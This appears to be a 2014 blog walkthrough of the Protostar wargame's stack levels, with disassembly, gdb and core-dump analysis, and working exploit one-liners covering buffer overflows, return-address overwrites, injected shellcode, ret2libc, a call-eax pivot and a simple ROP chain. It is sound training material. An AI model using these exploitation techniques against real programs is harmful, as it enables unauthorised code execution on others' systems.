Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the stack exploitation portion of the wargame.

Spoiler Warning: I would highly recommend you to go over the exercises yourself and come back to this article to find possibly different solutions or in case you get stuck.

Stack 0

The first exercise challenges you to modify the value of a local variable:

0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0  ; local variable
0x08048405 <main+17>:   lea    eax,[esp+0x1c]            ; input buffer
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax                   ; test the local variable
0x08048417 <main+35>:   je     0x8048427 <main+51>       ; jmp if the variable == 0
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500 ; you have changed
                                                         ; the 'modified' variable
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529 ; Try again?
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret

Based on the above disassembly, it is sufficient to set the local variable at [esp+0x5c] to any non-zero value in order to pass the test at <main+35>. To do this we can overflow the buffer at [esp+0x1c] and continue writing until we reach [esp+0x5c], the offset of the local variable. To do this we need to write 0x5c - 0x1c or 0x40 (64) bytes followed by any non-zero value:

$ echo `python -c 'print "A"*68'` | ./stack0
you have changed the 'modified' variable

Stack 1

The next exercise builds adds an extra requirement to set the local variable to 0x61626364:

0x080484a7 <main+67>:   mov    eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>:   cmp    eax,0x61626364
0x080484b0 <main+76>:   jne    0x80484c0 <main+92>

The solution simply requires extra 4 bytes written in the little endian order:

$ ./stack1 `python -c 'print "A"*64 + "\x64\x63\x62\x61"'`
you have correctly got the variable to the right value

Stack 2

This exercise is identical to Stack1 with the exception that the user input is now coming from the environment variable GREENIE instead of a command line parameter:

0x0804849d <main+9>:    mov    DWORD PTR [esp],0x80485e0 ; "GREENIE"
0x080484a4 <main+16>:   call   0x804837c <getenv@plt>
  :
  :
0x080484d8 <main+68>:   lea    eax,[esp+0x18]            ; buffer[64]
0x080484dc <main+72>:   mov    DWORD PTR [esp],eax
0x080484df <main+75>:   call   0x804839c <strcpy@plt>    ; overflow
  :
  :
0x080484e4 <main+80>:   mov    eax,DWORD PTR [esp+0x58]  ; modified variable
0x080484e8 <main+84>:   cmp    eax,0xd0a0d0a             ; verify the change

Just as with the previous example, we just need to overflow the 64 byte buffer to reach the local variable:

$ GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'` ./stack2
you have correctly modified the variable

Stack 3

Now that we are comfortable with overwriting local variables on the stack, this example challenges you to redirect the execution flow. The executable includes a function win() which is not normally called at this address:

(gdb) print win
$1 = {void (void)} 0x8048424 <win>

The main() function of the executable includes a local function pointer which is called at the very end:

0x08048449 <main+17>:   lea    eax,[esp+0x1c]            ; buffer[64]
0x0804844d <main+21>:   mov    DWORD PTR [esp],eax
0x08048450 <main+24>:   call   0x8048330 <gets@plt>      ; overflow
  :
  :
0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]  ; function pointer
0x08048475 <main+61>:   call   eax

Knowing the address of win(), we could just overflow the buffer and place the address of win() into the local function pointer:

$ echo `python -c 'print "A"*64 + "\x24\x84\x04\x08"'` | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack 4

This exercise introduces basic exploitation of a buffer overflow vulnerability using the return address pointer overwrite. The goal is once more to execute the win() function:

(gdb) print win
$1 = {void (void)} 0x80483f4 <win>

Let's create a sample input file with just 64 bytes:

$ python -c 'print "B"*64' > /tmp/payload

In order to study the memory state we could set a breakpoint right after the overflow occurs:

(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]       ; buffer[64]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt> ; overflow
0x0804841d <main+21>:   leave
0x0804841e <main+22>:   ret
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.

Finally, observe the stack to see just how many more bytes are necessary to reach the return address:

(gdb) r < /tmp/payload
Breakpoint 1, main (argc=1, argv=0xbffff874) at stack4/stack4.c:16
(gdb) x/2x $ebp
0xbffff7c8:     0xbffff848      0xb7eadc76
                     |               |
     saved ebp ------+               +------ return address

(gdb) x/24x $esp
0xbffff770:     0xbffff780      0xb7ec6165      0xbffff788      0xb7eada75
0xbffff780:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff790:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7a0:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7b0:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7c0:     0x08048400      0x00000000      0xbffff848      0xb7eadc76

It appears that the buffer begins at 0xbffff780 and the return address is stored at 0xbffff7cc, so a carefully crafted buffer of size 0x4C or 76 should redirect the output:

$ python -c 'print "B"*76 + "\xf4\x83\x04\x08"' > /tmp/payload

Let's see how this payload affects the execution flow:

(gdb) r < /tmp/payload
Breakpoint 1, main (argc=0, argv=0xbffff874) at stack4/stack4.c:16
(gdb) x/2x $ebp
0xbffff7c8:     0x42424242      0x080483f4
                                    |
                                    +-------- address of win()
(gdb) c
Continuing.
code flow successfully changed   <------ win() executed

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()

Great! At this point we could run the exploit without debugger:

$ echo `python -c 'print "B"*76 + "\xf4\x83\x04\x08"'` | ./stack4
code flow successfully changed
Segmentation fault (core dumped)

If the standalone version does not work for you, it is possible the offsets are different compared to the debugging session. One approach to figuring out correct offsets without running the application in a debugger is to use core dump as illustrated in the next example.

Stack 5

In this exercise we are finally getting to arbitrary code execution instead of relying on the code already in the program itself. First let's figure out where on the stack our buffer is located. Unlike the previous example, I will use core dumps for analysis instead of direct debugging in order to capture the memory state of the program exactly as it appears during normal execution:

$ ulimit -c unlimited
$ python -c 'print "B"*76 + "AAAA"' | ./stack5
Segmentation fault (core dumped)

The above commands enable core dumps and generated one by triggering the overflow in ./stack5. Let's load the generated core dump and find the buffer:

$ gdb ./stack5 /tmp/core.11.stack5.2683 -q
  :
  :
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/24x $esp-96
0xbffff7b0:     0xbffff7c0      0xb7ec6165      0xbffff7c8      0xb7eada75
0xbffff7c0:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7d0:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7e0:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7f0:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff800:     0x42424242      0x42424242      0x42424242      0x41414141

It appears the program has already tried to execute 0x41414141 address, so the offsets are correct. The user buffer begins at 0xbffff7c0. Before using a shellcode let's test out the overall exploit flow with a jump to \xcc bytes which should trigger a breakpoint:

$ python -c 'print "\xcc"*76 + "\xc0\xf7\xff\xbf"' | ./stack5
Trace/breakpoint trap (core dumped)

Wonderful, at this point feel free to substitute a shellcode of your choice (under 76 bytes) to complete the exploit for this exercise:

$ python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xcc"*(76-34) + "\xc0\xf7\xff\xbf"' | ./stack5
Owned!!!

NOTE: The shellcode above simply prints out "Owned!!!" string for illustration purposes.

Stack 6

As in all of the previous exercises, let's find a stack buffer to overflow:

0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:    call   0x8048380 <gets@plt>    ; overflow

The compiler used EBP as a reference point for local variables making calculations easier. The buffer is located 0x4c or 76 bytes from EBP, so in order to overwrite the return address we just need to write 4 more bytes. We could locate the user buffer in memory while testing out the calculation as follows:

$ python -c 'print "B"*80+"AAAA"' > /tmp/payload
$ ulimit -c unlimited
$ python -c 'print "B"*80+"AAAA"' | ./stack6
input path please: got path BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAABBBBBBBBBBBBAAAA
Segmentation fault (core dumped)
$ gdb ./stack6 /tmp/core.11.stack6.3095
  :
  :
Core was generated by `./stack6'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/40x $esp-100
0xbffff79c:     0x00000001      0x00000000      0x00000001      0xb7fff8f8
0xbffff7ac:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7bc:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7cc:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7dc:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7ec:     0x41414141      0x42424242      0x42424242      0x42424242
0xbffff7fc:     0x41414141      0x08048500      0x00000000      0xbffff888
0xbffff80c:     0xb7eadc76      0x00000001      0xbffff8b4      0xbffff8bc
0xbffff81c:     0xb7fe1848      0xbffff870      0xffffffff      0xb7ffeff4
0xbffff82c:     0x080482a1      0x00000001      0xbffff870      0xb7ff0626

So far so good. EIP was correctly set to 0x41414141, so the calculations were correct. With the buffer at 0xbffff7ac, let's write a quick PoC to trigger a breakpoint just as before:

$ python -c 'print "\xcc"*80+"\xac\xf7\xff\xbf"' | ./stack6
input path please: bzzzt (0xbffff7ac)

Ha! It appears the exercise implemented an explicit check on the return address value to make sure it does not point to 0xbf?????? range (stack):

0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4] ; return address
0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:    and    eax,0xbf000000          ; apply mask
0x080484bd <getpath+57>:    cmp    eax,0xbf000000
0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>  ; check address
  :
  :
0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1     ; bzzzt, overflow!
0x080484df <getpath+91>:    call   0x80483a0 <_exit@plt>   ; exit early

Duplicate payload

May be we can locate user payload somewhere in memory not starting with 0xbf....... Let's load the core dump from the previous example and attempt to find the buffer at a more friendly address:

(gdb) info files
Symbols from "/home/user/stack6".
Local core dump file:
        `/tmp/core.11.stack6.3095', file type elf32-i386.
        0x08048000 - 0x08049000 is load1
        0x08049000 - 0x0804a000 is load2
        0xb7e96000 - 0xb7e97000 is load3
        0xb7e97000 - 0xb7e98000 is load4a
        0xb7e98000 - 0xb7e98000 is load4b
        0xb7fd5000 - 0xb7fd5000 is load5
        0xb7fd6000 - 0xb7fd8000 is load6
        0xb7fd8000 - 0xb7fd9000 is load7
        0xb7fd9000 - 0xb7fdc000 is load8
        0xb7fde000 - 0xb7fe2000 is load9
        0xb7fe2000 - 0xb7fe3000 is load10
        0xb7fe3000 - 0xb7fe4000 is load11a
        0xb7fe4000 - 0xb7fe4000 is load11b
        0xb7ffe000 - 0xb7fff000 is load12
        0xb7fff000 - 0xb8000000 is load13
        0xbffea000 - 0xc0000000 is load14
(gdb) find /w1 0xb7e96000, 0xb7e97000, 0x42424242
Pattern not found.
   :
   :
(gdb) find /w1 0xb7fde000, 0xb7fe2000, 0x42424242
0xb7fde000
1 pattern found.
(gdb) x/20x 0xb7fde000
0xb7fde000:     0x42424242      0x42424242      0x42424242      0x42424242
0xb7fde010:     0x42424242      0x42424242      0x42424242      0x42424242
0xb7fde020:     0x42424242      0x42424242      0x42424242      0x42424242
0xb7fde030:     0x42424242      0x42424242      0x42424242      0x42424242
0xb7fde040:     0x42424242      0x42424242      0x42424242      0x42424242

After spending some time digging through the core file, it appears our buffer is indeed located at a different address, 0xb7fde000. Once again we can craft the exploit

$ python -c 'print "\x90"*4 + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xcc"*(80-34-4)+"\x04\xe0\xfd\xb7"' | ./stack6
input path please: got path ▒▒▒▒1▒1▒1▒1Ұ▒hd!!!hOwne▒̀▒1▒̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
Owned!!!

ret2libc

Another exploitation approach involves returning to a system function, ret2libc, which would bypass the filter as well. First let's find the addresses of system functions puts() and exit() so we could print out the string "Owned!!!" and exit cleanly:

(gdb) p puts
$1 = {<text variable, no debug info>} 0xb7ef4780 <_IO_puts>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

Now we just need a pointer to a string we want to print. For convenience, I will append it to the end of the payload in order to take advantage of the terminating null byte. The address of the string parameter can be located using a placeholder as follows:

$ python -c 'print "B"*80+"\x80\x47\xef\xb7"+"\xc0\x60\xec\xb7"+"\x43\x43\x43\x43"+"Owned!!!"' > /tmp/payload
                               puts()             exit()        *str (placeholder)

Now locate the address of "Owned!!!" and fill in the string address placeholder:

$ ./stack6 < /tmp/payload
input path please: got path BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB▒G▒BBBBBBBBBBBB▒G▒▒`▒CCCCOwned!!!
Segmentation fault (core dumped)
$ gdb ./stack6 /tmp/core.11.stack6.
(gdb) x/s $esp+48
0xbffff808:      "Owned!!!"

Great, so the string is located at 0xbffff808. At this point we can write an alternative exploit for this exercise:

$ python -c 'print "B"*80+"\x80\x47\xef\xb7"+"\xc0\x60\xec\xb7"+"\x08\xf8\xff\xbf"+"Owned!!!"' | ./stack6
input path please: got path BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB▒G▒BBBBBBBBBBBB▒G▒▒`▒▒▒Owned!!!
Owned!!!

NOTE: There are definitely reliability issues with keeping the string pointer on the stack as part of the input buffer, a more reliable version would use the address of an environment variable located further down the stack.

Stack 7

The final exercise in this series introduces an even more restrictive test for the return address value:

0x080484ef <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4] ; return address
0x080484f2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484f5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484f8 <getpath+52>:    and    eax,0xb0000000          ; apply mask
0x080484fd <getpath+57>:    cmp    eax,0xb0000000
0x08048502 <getpath+62>:    jne    0x8048524 <getpath+96>  ; check address

This immediately invalidates the first solution in the previous exercise since 0xb7fde000 is going to be caught by the filter.

Stack Pivot

In order to decide on the exact exploitation path, let's look at the state of the program at the time of the overflow:

$ python -c 'print "B"*80+"AAAA"' | ./stack7
input path please: got path BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAABBBBBBBBBBBBAAAA
Segmentation fault (core dumped)
user@protostar:~$ gdb ./stack7 /tmp/core.11.stack7.5953
  :
  :
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) i r
eax            0x804a008        134520840
ecx            0x0      0
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff800       0xbffff800
ebp            0x42424242       0x42424242
esi            0x0      0
edi            0x0      0
eip            0x41414141       0x41414141
(gdb) x/20x $esp-16
0xbffff7f0:     0x42424242      0x42424242      0x42424242      0x41414141
0xbffff800:     0x08048500      0x00000000      0xbffff888      0xb7eadc76
0xbffff810:     0x00000001      0xbffff8b4      0xbffff8bc      0xb7fe1848
0xbffff820:     0xbffff870      0xffffffff      0xb7ffeff4      0x080482bc
0xbffff830:     0x00000001      0xbffff870      0xb7ff0626      0xb7fffab0

After the overflow, ESP points directly after the end of the buffer. So if we were to find an instruction like JMP ESP, CALL ESP, etc. in memory we could easily pivot to the stack and start executing the shellcode:

(gdb) info files
  :
0x08048410 - 0x080485fc is .text
  :
(gdb) find /b1 0x08048410, 0x080485fc, 0xff, 0xe4
Pattern not found.
(gdb) find /b1 0x08048410, 0x080485fc, 0xff, 0xd4
Pattern not found.

Now that was disappointing. msfelfscan was not that much more helpful either:

$ msfelfscan -j ESP ./stack7 
[./stack7]

Unfortunately this approach is a dead end so we must seek another way.

Let's step back and look at the registers dump above to see if any of them lead to something interesting:

(gdb) x/20x $eax
0x804a008:      0x42424242      0x42424242      0x42424242      0x42424242
0x804a018:      0x42424242      0x42424242      0x42424242      0x42424242
0x804a028:      0x42424242      0x42424242      0x42424242      0x42424242
0x804a038:      0x42424242      0x42424242      0x42424242      0x42424242
0x804a048:      0x41414141      0x42424242      0x42424242      0x42424242

Neat! Somehow, EAX was pointing to the heap area which contained our shellcode. Let's investigate what caused this:

0x08048538 <getpath+116>:   lea    eax,[ebp-0x4c]         ; buffer
0x0804853b <getpath+119>:   mov    DWORD PTR [esp],eax
0x0804853e <getpath+122>:   call   0x80483f4 <strdup@plt>
0x08048543 <getpath+127>:   leave
0x08048544 <getpath+128>:   ret

It appears just before the vulnerable function returns there is a call to strdup() which copies the passed string to the heap and returns a pointer to it. Following the convention the returned heap pointer is stored in EAX which we can now use to pivot with something like JMP EAX or CALL EAX:

$ msfelfscan -j EAX ./stack7 
[./stack7]
0x080484bf call eax
0x080485eb call eax

At this point we can create the final exploit:

$ python -c 'print "\x90"*4 + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xcc"*(80-34-4)+"\xbf\x84\x04\x08"' | ./stack7
input path please: got path ▒▒▒▒1▒1▒1▒1Ұ▒hd!!!hOwne▒̀▒1▒̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒̿▒▒▒▒▒▒▒▒▒▒▒̿▒
Owned!!!

ROP

The authors of the exercise were nice enough to put strdup() call to allow for the pivot using EAX. Without strdup() another approach is needed. For example, we could use another RET instruction to jump to an address placed immediately after the overwritten return address pointer. First locate the beginning of the buffer on the stack:

(gdb) x/20x $esp-100
0xbffff79c:     0x00000001      0x00000000      0x00000001      0xb7fff8f8
0xbffff7ac:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7bc:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7cc:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffff7dc:     0x42424242      0x42424242      0x42424242      0x42424242

The address of the RET instruction can be found throughout the program, let's use the one from the vulnerable function itself:

(gdb) disas getpath
Dump of assembler code for function getpath:
  :
  :
0x08048544 <getpath+128>:       ret

Now combining the two addresses together:

$ python -c 'print "\x90"*4 + "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\xcc"*(80-34-4)+"\x44\x85\x04\x08"+"\xac\xf7\xff\xbf"' | ./stack7
input path please: got path ▒▒▒▒1▒1▒1▒1Ұ▒hd!!!hOwne▒̀▒1▒̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒D▒▒▒▒▒▒▒▒▒▒▒▒D▒▒▒▒
Owned!!!

External Links and References

Special Note

Thanks to the folks at Exploit Exercises for creating the excellent wargame. Particularly making the exercises highly pedagogical with progressive difficulty and building on previously learned material.

Published on May 9th, 2014 by iphelix

sprawlsimilar

exploit exercises - protostar - format string levels

Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the format string exploitation portion of the wargame. Read more.

exploit exercises - protostar - heap levels

Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the heap exploitation portion of the wargame. Read more.

exploit exercises - protostar - final levels

Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. The final portion of the wargame combines Stack, Format String, Heap, and Network exploitation techniques into three excellent challenges to help solidify knowledge gained from previous exercises. Read more.

exploit exercises - protostar - network levels

Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the network exploitation portion of the wargame. Read more.


sprawlcomments

All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

π
///\oo/\\\